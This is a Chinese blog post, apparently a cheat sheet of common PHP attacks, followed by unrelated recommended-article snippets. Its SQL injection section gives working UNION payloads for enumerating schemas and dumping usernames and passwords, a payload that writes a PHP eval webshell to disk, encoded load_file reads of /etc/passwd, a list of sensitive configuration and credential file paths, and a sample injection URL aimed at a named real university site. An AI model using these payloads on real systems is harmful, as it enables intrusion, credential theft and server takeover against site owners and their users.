1.SQL Injection(sql注入)  

  1暴字段长度 Order by num/*

  2.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

  3.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

  4.利用内置函数暴数据库信息       

      version() database() user()

    不用猜解可用字段暴数据库信息(有些网站不适用):

      and 1=2 union all select version() /*

      and 1=2 union all select database() /*

      and 1=2 union all select user() /*

    操作系统信息:

      and 1=2 union all select @@global.version_compile_os from mysql.user /*

    数据库权限:

      and ord(mid(user(),1,1))=114 /* 返回正常说明为root

    暴库 (mysql>5.0)

      Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息 and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

    猜表

      and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

    猜字段

      and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

    暴密码      

      and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

      高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

    直接写马(Root权限)      

      条件:1、知道站点物理路径

         2、有足够大的权限(可以用select …. from mysql.user测试)

         3、magic_quotes_gpc()=OFF

            select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'

    load_file() 常用路径:

    

    1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
    2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
    上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
    3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
    4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
    5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
    6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
    7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
    8、d:\APACHE\Apache2\conf\httpd.conf
    9、C:\Program Files\mysql\my.ini
    10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
    11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
    12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
    15、 /etc/sysconfig/iptables 本看防火墙策略
    16 、usr/local/app/php5 b/php.ini PHP 的相当设置
    17 、/etc/my.cnf MYSQL的配置文件
    18、 /etc/redhat-release 红帽子的系统版本
    19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
    20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
    21、/usr/local/app/php5 b/php.ini //PHP相关设置
    22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置 
    23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
    24、c:\windows\my.ini
    25、c:\boot.ini

    手工注射时出现的问题:

    

当注射后页面显示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
这是由于前后编码不一致造成的,
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
既可以继续注射了。。。

2.XSS (Cross Site Scripting)(跨站脚本攻击)

   http://www.cnblogs.com/dolphinX/p/3391351.html

3.Source Code Revelation(源代码暴露)

  可以用php.ini或者htaccess控制

  <Files ~ "\.inc$">
  Order allow,deny
  Deny from all
  </Files>

4.Remote File Inclusion(远程文件包含漏洞)

  

<?php
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站请求伪造)

7.Directory Traversal(目录跨越)

PHP常见的几种攻击方式的更多相关文章

  1. 理解BurpSuit Intruder几种攻击方式

    Intruder标签下有四种攻击方式 Sniper Battering Ram Pitchfork Cluster Bomb 假设用户名密码词典分别如下: user1,user2,usre3 pass ...

  2. linux系统服务器可能被攻击的几种攻击方式

    linux系统随着Linux企业应用的扩展,有大量的网络服务器使用Linux操作系统.Linux服务器的安全性能受到越来越多的关注,这里根据Linux服务器受到攻击的深度以级别形式列出,并提出不同的解 ...

  3. JS 跨域问题常见的五种解决方式

    一.什么是跨域? 要理解跨域问题,就先理解好概念.跨域问题是由于javascript语言安全限制中的同源策略造成的. 简单来说,同源策略是指一段脚本只能读取来自同一来源的窗口和文档的属性,这里的同一来 ...

  4. POST—常见的4种提交方式

    HTTP/1.1 协议规定的 HTTP 请求方法有 OPTIONS.GET.HEAD.POST.PUT.DELETE.TRACE.CONNECT 这几种.其中,POST 一般用来向服务端提交数据,本文 ...

  5. 数据库常见的三种join方式

    数据库常见的join方式有三种:inner join, left outter join, right outter join(还有一种full join,因不常用,本文不讨论).这三种连接方式都是将 ...

  6. Robot Framework--接口测试中常见的四种POST方式

    写接口测试用例时,遇到以json格式提交数据时,报错,Request如下图: Response如下图: 改成form格式提交,可以正常运行,如下图: 代码如下: ------------------- ...

  7. Sql Server 常见的几种分页方式

    ⒈offset fetch next方式[SqlServer2012及以上版本支持][推荐] select * from T_User order by id offset rows /*(页数-1) ...

  8. js常见的几种继承方式

    1.原型链继承 “父类”的实例作为子类的prototype SubType.prototype = new SuperType() 2.组合继承(原型链+构造函数) function SubType( ...

  9. burp suite 的intruder 四种攻击方式

    一:sniper[狙击手] 这种攻击基于原始的请求内容,需要一个字典,每次用字典里的一个值去代替一个待攻击的原始值. 攻击次数=参数个数X字典内元素个数 例如:原始请求中 name=aa , pass ...

随机推荐

  1. 运维:ITIL V3

    TIL 简史 在20 世纪80 年代末期,英国商务部(OGC,Office Government Commerce)发布了ITIL .OGC 最初的目标是通过应用IT 来提升政府业务的效率:目标是能够 ...

  2. 129_Power Pivot&Power BI DAX不同维度动态展示&动态坐标轴

    博客:www.jiaopengzi.com 焦棚子的文章目录 请点击下载附件 一.背景 某天在和那还是叫我大铁吧 交流关于季度&月度同时展示的问题,感概中国式报表真的需求很微妙. 下面来看看到 ...

  3. 111_Power Pivot 24小时维度:累计、同比、环比相关

    博客:www.jiaopengzi.com 焦棚子的文章目录 请点击下载附件 一.背景 今天有朋友讨论怎么做每天24小时维度的工作量计算(运营类企业,每天24小时都在运营)需求如下: 1.从0时到23 ...

  4. 安装Net-Tools到CentOS(YUM)

    Net-Tools是一个Linux系统中基本的网络工具集,其集成了常用的网络管理命令"ifconfig.netstat.arp.route等". 运行环境 系统版本:CentOS ...

  5. Link-Cut-Tree(1)

    参考论文 求解范围:(动态树问题) 树上路径查询.修改 动态连边.删边 换根 lca 算法逻辑 概念: 类似树链剖分,把一棵树拆成许多链,每个链用splay维护(链上的为实边,否则为虚边),splay ...

  6. 从零开始学YC-Framework之鉴权

    一.YC-Framework鉴权是基于哪一个开源框架做的? YC-Framework鉴权主要基于Dromara开源社区组织下的Sa-Token. 1.什么是Sa-Token? Sa-Token是一个轻 ...

  7. 解决Docker运行命令时提示"Got permission denied while trying to connect to the Docker daemon socket"类情况

    Docker安装命令: 解决Docker运行命令时提示"Got permission denied while trying to connect to the Docker daemon ...

  8. 【摸鱼神器】UI库秒变LowCode工具——列表篇(二)维护json的小工具

    上一篇介绍了一下如何实现一个可以依赖 json 渲染的列表控件,既然需要 json 文件,那么要如何维护这个 json 文件就成了重点,如果没有好的维护方案的话,那么还不如直接用UI库. 所以需要我们 ...

  9. Sublime text eslint windows 配置

    1. 下载安装eslint npm install -g eslint 2. 设置环境变量 C:\Users\<你的用户名>\AppData\Roaming\npm 3. sublime ...

  10. React.js中JSX的原理与关键实现

    在开始开发之前,我们需要创建一个空项目文件夹.安装 初始化 npm init -y 2.安装webpack相关依赖 npm install webpack webpack-cli -D 安装babel ...